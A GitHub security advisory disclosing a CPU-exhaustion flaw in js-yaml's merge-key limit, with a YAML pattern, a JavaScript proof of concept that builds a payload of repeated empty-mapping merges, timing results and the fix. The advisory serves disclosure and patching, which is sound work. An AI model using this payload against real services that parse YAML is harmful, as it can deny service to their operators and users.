GitHub Advisoryadvisory · npm
GHSA-r3ph-w7gj-g6xm js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources
MEDIUM
Official page ↗
- Ecosystem
- npm
- Packages
- js-yaml
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Weaknesses
- CWE-400, CWE-407
- Reviewed
- 2026-09-29
Affected packages
• npm js-yaml: >= 5.0.0, < 5.4.1 → fixed in 5.4.1
Description
Summary
`maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.
Example
```yaml
arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
• <<: *arr # repeated K times
```
For every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged.
PoC
```js
import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = 20000
const src =
'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
'targets:\n' +
' - <<: *arr\n'.repeat(n)
const started = performance.now()
load(src, { schema: YAML11_SCHEMA })
console.log(`${(performance.now() - started).toFixed(1)} ms`)
```
Observed results:
| N | YAML size | Time |
|---:|---:|---:|
| 800 | ~13 KB | ~20 ms |
| 3200 | ~50 KB | ~180 ms |
| 20000 | ~500 KB | ~13 s |
Impact
When merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit.
Fix
Count every merge source mapping as one budget unit in addition to counting its keys.